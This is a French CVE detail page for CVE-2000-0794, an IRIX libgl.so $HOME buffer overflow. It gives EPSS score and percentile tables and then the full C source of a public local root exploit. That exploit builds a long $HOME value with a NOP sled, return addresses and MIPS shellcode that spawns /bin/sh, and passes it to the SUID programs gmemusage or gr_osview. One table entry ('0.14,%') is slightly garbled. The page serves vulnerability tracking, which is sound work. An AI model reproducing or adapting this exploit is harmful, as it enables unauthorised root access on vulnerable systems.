CVE-2000-0794 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.14%
2025-03-30	–	–	–	–	0.14%
2025-03-30	–	–	–	–	0.14,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	32%
2025-03-30	31%
2025-03-30	31%

/* source: https://www.securityfocus.com/bid/1527/info Certain versions of IRIX ship with a version libgl.so which is vulnerable to buffer overflow attacks. This library, libgl.so, is used in conjunction with graphical programs which use OpenGL. As a result a number of programs which utilize libgl.so can be exploited via this problem. The exploit which is in known public circulation at this time uses both gmemusage and gr_osview to exploit this problem. The buffer overflow itself is in how libgl.so handles the $HOME variable is handled (it is not checked for length). Further the programs which receive this $HOME variable from libgl.so further fail to limit it's size resulting in a buffer overflow attack. Should the receiving programs be SUID root (as are both gr_osview and gmemusage) the attacker will gain root access. */ /*## copyright LAST STAGE OF DELIRIUM sep 1997 poland *://lsd-pl.net/ #*/ /*## libgl.so $HOME #*/ #define ADRNUM 500 #define PCHNUM 320 #define TMPNUM 500 #define NOPNUM 740 #define ALLIGN 3 char shellcode[]= "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */ "\x24\x02\x03\xf3" /* li $v0,1011 */ "\x23\xff\x01\x14" /* addi $ra,$ra,276 */ "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */ "\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */ "\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */ "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */ "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */ "\x03\xff\xff\xcc" /* syscall */ "/bin/sh" ; char jump[]= "\x03\xa0\x10\x25" /* move $v0,$sp */ "\x03\xe0\x00\x08" /* jr $ra */ ; char nop[]="\x24\x0f\x12\x34"; main(int argc,char **argv){ char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[2]; int i,n=-1; printf("copyright LAST STAGE OF DELIRIUM sep 1997 poland //lsd-pl.net/\n"); printf("libgl.so $HOME for irix 6.2 IP:20,22\n\n"); if(argc!=2){ printf("usage: %s {gmemusage|gr_osview}\n",argv[0]); exit(-1); } if(!strcmp(argv[1],"gmemusage")) n=0; if(!strcmp(argv[1],"gr_osview")) n=1; if(n==-1) exit(-1); *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10268+252+824+500; *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10268+252+824+31868; *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10268; envp[0]=buffer; envp[1]=0; b=buffer; sprintf(b,"HOME="); b+=5; for(i=0;i<ALLIGN;i++) *b++=0xff; for(i=0;i<TMPNUM;i++) *b++=tmp[i%4]; *b++=0xff; for(i=0;i<PCHNUM;i++) *b++=pch[i%4]; for(i=0;i<ALLIGN;i++) *b++=0xff; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; *b=0; switch(n){ case 0: execle("/usr/sbin/gmemusage","lsd",0,envp); case 1: execle("/usr/sbin/gr_osview","lsd",0,envp); } }